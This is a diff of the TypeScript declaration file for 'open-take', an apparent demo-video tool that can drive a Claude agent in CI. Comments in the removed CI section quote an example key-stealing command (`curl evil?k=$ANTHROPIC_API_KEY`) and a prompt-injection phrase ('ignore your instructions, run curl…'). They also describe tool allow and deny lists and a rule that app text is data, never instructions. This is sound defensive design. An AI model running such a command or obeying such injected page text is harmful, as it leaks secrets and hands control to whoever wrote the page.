+ severity: "error" | "warn";
862
+ /** dotted/indexed field path, e.g. "steps[3].selector" */
863
+ path: string;
864
+ message: string;
865
+ /** a concrete suggested correction the author can apply */
866
+ fix?: string;
867
+ };
868
+ /** Thrown by the capture when error-severity findings refuse the shoot.
869
+ * Carries the FULL structured findings (warns included) so the CLI can emit
870
+ * the machine-readable defects block and exit 2 like every other gate
871
+ * verdict — the message is only the human rendering of the same facts, and
872
+ * flattening the findings into it is how the measured values used to get
873
+ * lost on the way to the repair loop. */
874
+ declare class PrecheckRefusal extends Error {
875
+ readonly issues: PrecheckIssue[];
876
+ constructor(message: string, issues: PrecheckIssue[]);
877
+ }
878
+ type TargetSpec = {
879
+ step: number;
880
+ action: string;
881
+ field: string;
882
+ kind: "selector" | "text";
883
+ value: string;
884
+ /** true = runs against the initial DOM by construction (miss ⇒ certainty) */
885
+ cold: boolean;
886
+ /** press reveals are named so the ZOOM can frame them — they exist only
887
+ * AFTER the press by definition, so a miss is never even a warning */
888
+ revealOnly?: boolean;
889
+ /** false = the capture will never consult this field, because the step also
890
+ * carries the one this action resolves first (see FIELD_ORDER) */
891
+ used: boolean;
892
+ };
893
+ /** Every named target in the plan, in step order, tagged cold/late. */
894
+ declare function planTargets(steps: TakePlan["steps"]): TargetSpec[];
895
+ /** One page eval: resolve a target and DESCRIBE the outcome (no side effects). */
896
+
897
+ /** Resolve every plan target through `evalJson` (a Runtime.evaluate wrapper)
898
+ * and grade the outcomes. Cold-prefix misses get ONE retry after `retryMs` —
899
+ * a hydration-slow page may mount its controls a beat after load. */
900
+ declare function precheckPlan(steps: TakePlan["steps"], evalJson: (js: string) => Promise<unknown>, opts?: {
901
+ retryMs?: number;
902
+ sleep?: (ms: number) => Promise<void>;
903
+ }): Promise<PrecheckIssue[]>;
904
+
905
+ //#endregion
906
+ //#region src/defect-report.d.ts
907
+ /** Every gate reports the same shape: PlanIssue (lint-plan), PrecheckIssue
908
+ * (precheck), CompositionIssue (validate / check-take / cursor audit) are
909
+ * structurally identical, so one report type carries them all. */
910
+ type GateIssue = {
911
+ severity: "error" | "warn";
912
+ path: string;
913
+ message: string;
914
+ fix?: string;
915
+ };
916
+ /** which gate measured the finding */
917
+ type DefectGate = "plan-lint" | "precheck" | "capture" | "post-shoot" | "composition";
918
+ type Defect = GateIssue & {
919
+ gate: DefectGate;
920
+ };
921
+ type DefectReport = {
922
+ format: "open-take-defects/1";
923
+ verb: "make" | "render" | "check";
924
+ /** the human verdict line, verbatim */
925
+ verdict: string;
926
+ /** what the process exits with after printing this block */
927
+ exitCode: number;
928
+ /** the plan that was judged (make only — render/check judge a take) */
929
+ plan?: string;
930
+ /** the delivered master, when one exists */
931
+ master?: string;
932
+ errors: number;
933
+ warns: number;
934
+ defects: Defect[];
935
+ note: string;
936
+ repair: string;
937
+ };
938
+ declare const DEFECTS_OPEN = "--- open-take defects v1 ---";
939
+ declare const DEFECTS_CLOSE = "--- end open-take defects ---";
940
+ declare const asDefects: (gate: DefectGate, issues: readonly GateIssue[]) => Defect[];
941
+ /** capture-time skipped steps as defects — error-severity: the beat is gone
942
+ * from the video, which is exactly what the strict exit refuses. */
943
+ declare const skippedDefects: (skipped: readonly {
944
+ step: number;
945
+ action: string;
946
+ target?: string;
947
+ reason: string;
948
+ }[]) => Defect[];
949
+ /** Settle underruns whose beat DID go quiet carry a measured number the
950
+ * author can copy — the one defect class where the fix is literally a
951
+ * value. Beats that never settled (`reason: "budget"`) are excluded: telling
952
+ * an author to raise settleMs toward a number that satisfies nothing is a
953
+ * ratchet, and the human summary already explains that case. */
954
+ declare const settleDefects: (settleWaits: readonly {
955
+ step: number;
956
+ action: string;
957
+ heldMs: number;
958
+ waitedMs: number;
959
+ reason: "idle" | "budget" | "unavailable";
960
+ }[]) => Defect[];
961
+ declare function buildDefectReport(opts: {
962
+ verb: DefectReport["verb"];
963
+ verdict: string;
964
+ exitCode: number;
965
+ plan?: string;
966
+ master?: string;
967
+ defects: Defect[];
968
+ }): DefectReport;
969
+ /** the fixed stdout section — everything between the sentinels is one JSON
970
+ * object, so the driving agent extracts it with two line matches and no
971
+ * scraping of the prose above it */
972
+ declare const renderDefectBlock: (report: DefectReport) => string;
973
+
974
+ //#endregion
975
+ //#region src/review.d.ts
976
+ //# sourceMappingURL=defect-report.d.ts.map
513
977
  /** "click Open menu" — the shared beat vocabulary (beat sheet rows, frames rows). */
514
978
  declare function beatLabel(e: CompEvent): string;
515
- declare function buildBeatSheet(comp: TakeComposition, name: string): string;
979
+ declare function buildBeatSheet(comp: TakeComposition$1, name: string): string;
516
980
  declare const SAY_IT_CARD = "SAY IT, I'LL CUT IT\n instant (~10s) zoom off / tighter / looser on a beat \u00B7 re-center a beat (name the\n element) \u00B7 hold longer \u00B7 pace: calm / natural / brisk \u00B7 look:\n midnight / ink / slate / ocean / plum / ember / paper / plain \u00B7\n finish: smooth / crisp / heavy \u00B7 quicker intro \u00B7 shorter tail\n re-shoot (~1m) change what's clicked or typed \u00B7 add / cut / reorder beats \u00B7\n retime an action\n compare taste questions come back as an A/B reel \u2014 answer with a letter\n (\"B\"), or \"between A and B\", or \"none, go darker\"";
517
981
  /** Badge windows: each beat owns [its camera-ramp start, the next beat's) —
518
982
  * the pill swaps as the camera actually starts moving toward the beat.
@@ -520,13 +984,13 @@ declare const SAY_IT_CARD = "SAY IT, I'LL CUT IT\n instant (~10s) zoom off / ti
520
984
  * dwell-delayed pull-out (departing after its stored inAtMs) badges when it
521
985
  * moves, not when the formula guessed; beats the camera holds through fall
522
986
  * back to inAtMs. INTRO/TAIL bracket them. */
523
- declare function buildBadges(comp: TakeComposition): ReviewBadge[];
987
+ declare function buildBadges(comp: TakeComposition$1): ReviewBadge[];
524
988
  /** Draft-quality transform: 30fps cap + motion blur OFF — up to ~12× faster
525
989
  * than a blurred 60fps master, close enough for composition-level notes.
526
990
  * (2 blur samples would render 2× the frames for a tmix window that rounds to
527
991
  * 1 — all cost, zero blur.) FEEL questions (blur, pace, zoom silkiness) must
528
992
  * be judged on full quality — use `ab`. */
529
- declare function toDraft(comp: TakeComposition): TakeComposition;
993
+ declare function toDraft(comp: TakeComposition$1): TakeComposition$1;
530
994
  type ReviewOpts = {
531
995
  chromePath?: string;
532
996
  logProgress?: boolean;
@@ -582,262 +1046,9 @@ declare function openPath(p: string): void;
582
1046
  /** Reveal a file in Finder/Explorer; degrade to printing the path. */
583
1047
  declare function revealPath(p: string): void;
584
1048
 
585
- //#endregion
586
- //#region src/frames.d.ts
587
- //# sourceMappingURL=review.d.ts.map
588
- type FramePhase = "intro" | "travel" | "hold" | "tail";
589
- type FrameCell = {
590
- /** sample time on the COMPOSITION timeline, ms (the `beats` vocabulary). */
591
- tMs: number;
592
- phase: FramePhase;
593
- };
594
- type FrameRow = {
595
- label: string;
596
- cells: FrameCell[];
597
- };
598
- type FramePlan = {
599
- rows: FrameRow[];
600
- cols: number;
601
- notes: string[];
602
- };
603
- declare function buildFramePlan(comp: TakeComposition, opts?: {
604
- beat?: number;
605
- }): FramePlan;
606
- declare function buildFrameSheet(plan: FramePlan, framesPath: string, trimMs: number, tileW?: number): string;
607
- type FramesOpts = {
608
- /** densify one beat (1-based) into a 10-cell strip */
609
- beat?: number;
610
- /** which delivered file to sample (default the master mp4) */
611
- sourcePath?: string;
612
- /** tile width in px. Defaults: 480 for the overview, 720 for a --beat strip
613
- * (diagnosis wants detail — a 480px tile of a Retina capture is a 1/8-scale
614
- * thumbnail: enough to suspect a framing bug, not enough to confirm it). */
615
- tileWidth?: number;
616
- };
617
- /** Extract the plan's frames from a delivered take mp4 and tile them into
618
- * `<base>.frames[.beatN].png`. No Chrome, no render — a handful of ffmpeg
619
- * seeks; seconds, not minutes. */
620
- declare function renderFrames(take: TakePaths, opts?: FramesOpts): Promise<{
621
- framesPath: string;
622
- sheet: string;
623
- plan: FramePlan;
624
- }>;
625
-
626
- //#endregion
627
- //#region src/ci.d.ts
628
- //# sourceMappingURL=frames.d.ts.map
629
- /** Last N lines of a child's output — enough to say WHY the app never came up
630
- * (port in use, missing env, crash on boot) without buffering a dev server's
631
- * unbounded chatter. */
632
- declare class TailBuffer {
633
- private readonly max;
634
- private lines;
635
- constructor(max?: number);
636
- push(chunk: string): void;
637
- tail(n?: number): string;
638
- }
639
- type AppProcess = {
640
- readonly pid: number | undefined;
641
- readonly output: TailBuffer;
642
- /** SIGTERM the whole process group (a shell command spawns children — a bare
643
- * kill of the shell leaves the actual server holding the port), escalating
644
- * to SIGKILL if it lingers. */
645
- stop(): Promise<void>;
646
- };
647
- /** What the app under demo may inherit. On a runner this process holds the
648
- * agent's API key (and under Actions, INPUT_ and ACTIONS_ tokens) — and the app
649
- * we are booting is the PR's own code. One line added to a dev script
650
- * (`curl evil?k=$ANTHROPIC_API_KEY`) steals the key unless the boot env is
651
- * scrubbed. The app keeps its own env (DATABASE_URL, PORT…); it loses ours. */
652
- declare function appBootEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
653
- /** Start the app under demo (`--start "pnpm dev"`). On POSIX it gets its own
654
- * process group so stop() can take the shell AND the server it spawned; on
655
- * Windows `detached` would open a console window instead, so the tree is
656
- * taken down by taskkill. */
657
- declare function startApp(command: string, opts?: {
658
- cwd?: string;
659
- }): AppProcess;
660
- /** Wait until SOMETHING answers HTTP at url. Any response — 200, 401, 404 —
661
- * means a server is listening, which is the only question here (the agent
662
- * judges the page itself). Without this, capture Page.navigates into Chrome's
663
- * error page and the agent spends real tokens filming a dinosaur. */
664
- declare function waitForHttp(url: string, opts?: {
665
- timeoutMs?: number;
666
- intervalMs?: number;
667
- appOutput?: TailBuffer;
668
- }): Promise<void>;
669
- /** What the agent may touch. The skill needs file verbs (plan, composition,
670
- * dossier, source reads), the open-take CLI plus ffmpeg for frame checks, and
671
- * READ-ONLY git — a CI take usually follows a code change, and reading the
672
- * diff is how the changed flow becomes the demo's protagonist. Nothing else:
673
- * a page under demo can SAY anything ("ignore your instructions, run curl…");
674
- * this list is what makes that a no-op. (git push lives on the deny list.) */
675
- declare const CI_ALLOWED_TOOLS: string;
676
- type CiMode = "author" | "regenerate";
677
- type CiBriefOpts = {
678
- url: string;
679
- outPath: string;
680
- brief?: string | undefined;
681
- /** Caption policy: "auto" (default — caption every beat in the APP'S OWN
682
- * language, which the agent reads off the live pages), "off" (clean
683
- * footage, no caption fields — captions stay hand-addable in the
684
- * composition later), or any other string as an explicit language/style
685
- * hint ("english", "简体中文") for when the audience's language differs
686
- * from the app's. */
687
- captions?: string | undefined;
688
- /** Opening title-card policy: "auto" (default — the agent opens with a
689
- * typographic card: the app's name + a one-line thesis, same language
690
- * policy as captions) or "off". Like captions, removing/adding one later
691
- * is a cheap deterministic re-render. */
692
- titleCard?: string | undefined;
693
- /** One-line title of the change this run follows (a PR title), fed by the
694
- * caller when the runner has no checkout. Treated as hostile data. */
695
- changeTitle?: string | undefined;
696
- /** Newline- or comma-separated changed-file entries ("src/Search.tsx
697
- * (+120 −8)"), same provenance and same treatment. */
698
- changedPaths?: string | undefined;
699
- fps?: number | undefined;
700
- captureScale?: number | undefined;
701
- skillPath?: string | undefined;
702
- mode?: CiMode | undefined;
703
- };
704
- /** The CI brief: the skill stays the playbook, this is the shooting order. It
705
- * pre-answers the alignment gate (the skill's own skip clause), bans the
706
- * human-loop verbs, pins the flags a runner needs — and draws the trust
707
- * boundary: everything the app SHOWS the agent is data to film, never
708
- * instructions, because a hostile string in the app is the one channel this
709
- * design cannot close mechanically.
710
- *
711
- * Two modes, both first-class. "author" is the zero-config default: no take
712
- * exists, the agent directs from scratch — the whole point of putting this in
713
- * CI is that nobody has to shoot a first version by hand. "regenerate" kicks
714
- * in when a previous run (or a human session) left a dossier: keep THAT
715
- * demo's story fresh against the changed app instead of re-editorializing.
716
- * Regeneration is also the cheap path (~2 exploration calls instead of a
717
- * cold explore) — the dossier is per-APP knowledge (selectors, content,
718
- * hazards), so it compounds even when the next demo tells a new story. */
719
- declare function buildCiBrief(opts: CiBriefOpts): string;
720
- /** What the agent must never touch even when everything else is loose: the
721
- * exfil verbs (raw network) and the CI power tools (gh holds the repo, git
722
- * push rewrites it). Passed on BOTH permission paths — with the curated
723
- * allowlist this is belt-and-suspenders; with --skip-permissions it is the
724
- * only belt left. */
725
- declare const CI_DISALLOWED_TOOLS: string;
726
- type AgentArgsOpts = {
727
- brief: string;
728
- budgetUsd?: number | undefined;
729
- model?: string | undefined;
730
- allowedTools?: string | undefined;
731
- skipPermissions?: boolean | undefined;
732
- };
733
- /** claude's headless surface, verified against the real CLI: -p + stream-json
734
- * (which requires --verbose), --max-budget-usd as the spend cap (there is no
735
- * --max-turns in current claude), and either a curated allowlist or the
736
- * explicit dangerous bypass — never both. */
737
- declare function buildAgentArgs(opts: AgentArgsOpts): string[];
738
- type AgentRunResult = {
739
- costUsd?: number | undefined;
740
- turns?: number | undefined;
741
- finalText?: string | undefined;
742
- };
743
- /** Run the agent and narrate its stream-json into a readable CI log: the
744
- * agent's own prose verbatim (that IS the editorial record), tool calls as
745
- * one-liners. The final "result" event carries cost + the summary. */
746
- declare function runAgent(opts: {
747
- bin: string;
748
- args: string[];
749
- cwd: string;
750
- timeoutMs: number;
751
- env?: NodeJS.ProcessEnv | undefined;
752
- logProgress?: boolean | undefined;
753
- }): Promise<AgentRunResult>;
754
- /** A ~6s looping teaser for surfaces that render GIF but not video (a PR
755
- * comment). Palette pass keeps it small enough to actually load. 960 wide is
756
- * the legibility floor, not a luxury: captions are authored for 1080p, and a
757
- * real PR's 640-wide gif was the maintainer's first complaint ("blurry") —
758
- * while ~6s at 960/12fps of UI content still lands well under the ~10MB
759
- * ceiling GitHub renders inline. Best-effort: a take without a teaser is a
760
- * warning, never a failed run. */
761
- declare function renderTeaserGif(mp4Path: string, gifPath: string, opts?: {
762
- seconds?: number;
763
- width?: number;
764
- fps?: number;
765
- }): Promise<string>;
766
- /** GitHub speaks files-named-by-env: append key=value to $GITHUB_OUTPUT (the
767
- * step's outputs) and markdown to $GITHUB_STEP_SUMMARY. Single-line values
768
- * only — anything multiline goes to a file and the file's PATH is the output,
769
- * which sidesteps the heredoc-delimiter injection trap entirely. */
770
- declare function emitGithubOutputs(outputs: Record<string, string>): Promise<void>;
771
- declare function emitStepSummary(markdown: string): Promise<void>;
772
- type CiOpts = {
773
- url: string;
774
- outPath: string;
775
- cwd?: string;
776
- brief?: string | undefined;
777
- captions?: string | undefined;
778
- titleCard?: string | undefined;
779
- changeTitle?: string | undefined;
780
- changedPaths?: string | undefined;
781
- startCmd?: string | undefined;
782
- waitTimeoutMs?: number | undefined;
783
- agentBin?: string | undefined;
784
- model?: string | undefined;
785
- budgetUsd?: number | undefined;
786
- agentTimeoutMs?: number | undefined;
787
- fps?: number | undefined;
788
- captureScale?: number | undefined;
789
- allowedTools?: string | undefined;
790
- allowedOrigins?: string | undefined;
791
- skipPermissions?: boolean | undefined;
792
- skillPath?: string | undefined;
793
- dryRun?: boolean | undefined;
794
- logProgress?: boolean | undefined;
795
- };
796
- type CiResult = {
797
- mp4Path: string;
798
- mode: CiMode;
799
- beatsPath?: string | undefined;
800
- gifPath?: string | undefined;
801
- costUsd?: number | undefined;
802
- turns?: number | undefined;
803
- durationS?: number | undefined;
804
- finalText?: string | undefined;
805
- /** Set when the agent process died AFTER delivering a fresh, gate-passing
806
- * master (budget exhausted writing its summary, say) — the take shipped,
807
- * and the caller should surface this instead of celebrating silently. */
808
- agentWarning?: string | undefined;
809
- dryRun?: {
810
- bin: string;
811
- args: string[];
812
- } | undefined;
813
- };
814
- /** `ffprobe`d duration of the delivered file — fact, not intent (the
815
- * composition says what SHOULD have rendered). Undefined when ffprobe is
816
- * unavailable; the gate then skips rather than blocks. */
817
- declare function probeDurationS(mp4Path: string): Promise<number | undefined>;
818
- /** The run's navigation fence: the app's own origin, its
819
- * localhost/127.0.0.1 twin (same server, two spellings — the commonest
820
- * false lockout), plus whatever --allowed-origins names (a demo that
821
- * legitimately hops to a second origin — a deploy's generated domain, a
822
- * docs site — declares it here; each entry normalizes to an origin). This
823
- * is the escape hatch the origin pin must ship WITH: without it, a
824
- * legitimate cross-origin beat is a skipped step + a failed gate, and the
825
- * agent has no knob to fix it. */
826
- declare function ciAllowedOrigins(url: string, extra?: string): string;
827
- /** The whole unattended lane, in order: boot → liveness → agent → PROOF. The
828
- * proof step is the difference between "a video exists" and "a video is safe
829
- * to put in front of a reviewing team": zero skipped beats (a missing target
830
- * produces a shorter video where the cursor glides past dead UI — with a
831
- * green check) and a sane delivered duration. Below the bar, this throws and
832
- * the run posts nothing — a missing demo is a fine CI outcome, a garbage one
833
- * costs the product its trust.
834
- *
835
- * The caller (cli.ts) has already installed the skill and resolved Chrome —
836
- * both are its domain (bundledSkill lives with the package). */
837
- declare function ciTake(opts: CiOpts): Promise<CiResult>;
838
-
839
1049
  //#endregion
840
1050
  //#region src/index.d.ts
1051
+ //# sourceMappingURL=review.d.ts.map
841
1052
  type MakeTakeOpts = {
842
1053
  /** output polished mp4 path */
843
1054
  outPath: string;
@@ -878,16 +1089,21 @@ type MakeTakeResult = {
878
1089
  * move an action's tMs) is enforced in the real refine loop, not just inside
879
1090
  * makeTake. */
880
1091
  captureLogPath: string;
881
- composition: TakeComposition;
1092
+ composition: TakeComposition$1;
882
1093
  /** steps the capture dropped (target not found) — surface these in the
883
- * end-of-run summary; `--strict` turns them into a non-zero exit. */
884
- skipped: NonNullable<CaptureLog["skipped"]>;
1094
+ * end-of-run summary; by default they turn into a non-zero exit
1095
+ * (`--no-strict` downgrades them to a warning). */
1096
+ skipped: NonNullable<CaptureLog$1["skipped"]>;
1097
+ /** pre-capture target-resolution warnings (runtime/src/precheck.ts). Errors
1098
+ * already aborted the capture; what survives here is the suspect-but-legal
1099
+ * tier (ambiguous selectors, late-bound targets) — summary material. */
1100
+ precheck: NonNullable<CaptureLog$1["precheck"]>;
885
1101
  /** beats whose `settleMs` ran out before the PAGE was done. The capture
886
1102
  * waited (see runtime/src/settle.ts) so the take is still correct, but the
887
1103
  * plan is now known to under-budget those beats — the summary prints the
888
1104
  * number to write into `settleMs`, which is the whole point: it stops being
889
1105
  * a guess after the first run. */
890
- settleWaits: NonNullable<CaptureLog["settleWaits"]>;
1106
+ settleWaits: NonNullable<CaptureLog$1["settleWaits"]>;
891
1107
  /** set when a `<canvas>`/`<video>` dominated the frame — the settle probe
892
1108
  * is blind inside one, so a quiet run proves nothing about those beats. */
893
1109
  paintedFrac?: number;
@@ -905,18 +1121,18 @@ declare const captureLogPathFor: (capturePath: string) => string;
905
1121
  /** Load the capture log that sits beside a capture video, if present. Returns
906
1122
  * undefined when there's no sibling (e.g. an old capture, or a hand-supplied
907
1123
  * video) — the capture-lock check is then skipped, not an error. */
908
- declare function loadCaptureLogSibling(capturePath: string): Promise<CaptureLog | undefined>;
1124
+ declare function loadCaptureLogSibling(capturePath: string): Promise<CaptureLog$1 | undefined>;
909
1125
  declare function makeTake(plan: TakePlan, opts: MakeTakeOpts): Promise<MakeTakeResult>;
910
1126
  type RenderCompositionOpts = {
911
1127
  /** the edited composition (or its parsed JSON) */
912
- composition: TakeComposition;
1128
+ composition: TakeComposition$1;
913
1129
  /** the kept raw capture from makeTake (`<out>.capture.mp4`) */
914
1130
  capturePath: string;
915
1131
  /** output polished mp4 path */
916
1132
  outPath: string;
917
1133
  /** the ground-truth capture log, for the capture-lock check (an edit must not
918
1134
  * move an action's tMs). Pass it to enforce the lock; omit to skip it. */
919
- captureLog?: CaptureLog;
1135
+ captureLog?: CaptureLog$1;
920
1136
  logProgress?: boolean;
921
1137
  /** Chrome binary; resolved once if omitted */
922
1138
  chromePath?: string;
@@ -936,7 +1152,18 @@ declare function renderComposition(opts: RenderCompositionOpts): Promise<{
936
1152
  mp4Path: string;
937
1153
  compositionPath: string;
938
1154
  warnings: CompositionIssue$1[];
1155
+ composition: TakeComposition$1;
939
1156
  }>;
1157
+ /** The bounded re-render behind the post-shoot cursor gate: render the SAME
1158
+ * composition over the frozen capture to a scratch name inside the working
1159
+ * dir, then rename over the master only on success — a crashed re-render
1160
+ * must not eat the file the first audit measured. Calls renderTake directly
1161
+ * (not renderComposition, which canonicalizes outPath back to the take's
1162
+ * master — exactly the in-place overwrite this scratch name exists to
1163
+ * avoid). */
1164
+ declare function reRenderInPlace(take: TakePaths, composition: TakeComposition$1, captureLog: CaptureLog$1 | undefined, opts?: {
1165
+ logProgress?: boolean;
1166
+ }): Promise<void>;
940
1167
  /** Convenience: load a `*.composition.json` and re-render over a saved capture.
941
1168
  * Auto-loads the sibling capture log (`<video>`.json) so the capture-lock check
942
1169
  * is enforced in the CLI refine loop — pass `captureLogPath` to override, or
@@ -955,10 +1182,11 @@ declare function renderCompositionFile(opts: {
955
1182
  mp4Path: string;
956
1183
  compositionPath: string;
957
1184
  warnings: CompositionIssue$1[];
1185
+ composition: TakeComposition$1;
958
1186
  }>;
959
1187
 
960
1188
  //#endregion
961
1189
  //# sourceMappingURL=index.d.ts.map
962
1190
 
963
- export { AbOpts, AgentArgsOpts, AgentRunResult, AnnotateOpts, AppProcess, AuthOpts, AuthResult, CI_ALLOWED_TOOLS, CI_DISALLOWED_TOOLS, CaptureOpts, CiBriefOpts, CiMode, CiOpts, CiResult, CompositionIssue, EditServerOpts, FrameCell, FrameDiffResult, FramePhase, FramePlan, FrameRow, FramesOpts, InspectElement, InspectOpts, InspectResult, MakeTakeOpts, MakeTakeResult, NavigateTarget, NotesRead, ReadNotesOpts, RenderCompositionOpts, ReviewOpts, SAY_IT_CARD, StagedPrev, TAKE_DIR_SUFFIX, TakePaths, TakePlan, TakeStep, WaitNotesOpts, WaitNotesResult, annotateCaptureLog, appBootEnv, authProfile, beatLabel, buildAgentArgs, buildBadges, buildBeatSheet, buildCiBrief, buildFramePlan, buildFrameSheet, captureLogPathFor, captureTake, captureTakeCDP, ciAllowedOrigins, ciTake, diffFrames, emitGithubOutputs, emitStepSummary, ensureChrome, ensureTakeDir, formatIssues, formatNotes, inspectPage, loadCaptureLogSibling, makeTake, openPath, probeDurationS, profileDir, readNotes, renderAbReel, renderBeforeAfter, renderComposition, renderCompositionFile, renderDraft, renderFrames, renderReview, renderTeaserGif, requireTakeFiles, resolveChrome, resolveNavigateUrl, resolveTakePaths, revealPath, runAgent, stagePrev, startApp, startEditServer, takeFile, toDraft, validateComposition, waitForHttp, waitForNotes };
1191
+ export { AbOpts, AgentArgsOpts, AgentRunResult, AnnotateOpts, AppProcess, AuditCursorOpts, AuditRow, AuthOpts, AuthResult, CI_ALLOWED_TOOLS, CI_DISALLOWED_TOOLS, CaptureLog, CaptureOpts, CheckTakeOpts, CiBriefOpts, CiMode, CiOpts, CiResult, CompositionIssue, DEFECTS_CLOSE, DEFECTS_OPEN, Defect, DefectGate, DefectReport, EditServerOpts, FrameCell, FrameDiffResult, FramePhase, FramePlan, FrameRow, FramesOpts, GateIssue, InspectElement, InspectOpts, InspectResult, InventoryRule, MakeTakeOpts, MakeTakeResult, NavigateTarget, NotesRead, PlanIssue, PostShootIO, PostShootPass, PostShootResult, PrecheckIssue, PrecheckRefusal, ReadNotesOpts, RenderCompositionOpts, ReviewOpts, SAY_IT_CARD, StagedPrev, TAKE_DIR_SUFFIX, TakeComposition, TakePaths, TakePlan, TakeStep, WaitNotesOpts, WaitNotesResult, annotateCaptureLog, appBootEnv, asDefects, auditCursor, authProfile, beatLabel, buildAgentArgs, buildBadges, buildBeatSheet, buildCiBrief, buildDefectReport, buildFramePlan, buildFrameSheet, captureLogPathFor, captureTake, captureTakeCDP, checkTake, ciAllowedOrigins, ciTake, diffFrames, emitGithubOutputs, emitStepSummary, ensureChrome, ensureTakeDir, formatIssues, formatNotes, healingWithheld, inspectPage, lintPlan, loadCaptureLogSibling, makeTake, openPath, planTargets, precheckPlan, probeDurationS, profileDir, reRenderInPlace, readNotes, renderAbReel, renderBeforeAfter, renderComposition, renderCompositionFile, renderDefectBlock, renderDraft, renderFrames, renderReview, renderTeaserGif, requireTakeFiles, resolveChrome, resolveNavigateUrl, resolveTakePaths, revealPath, runAgent, runPostShootGates, settleDefects, skippedDefects, stagePrev, startApp, startEditServer, takeFile, toDraft, validateComposition, waitForHttp, waitForNotes };
964
1192
  //# sourceMappingURL=index.d.ts.map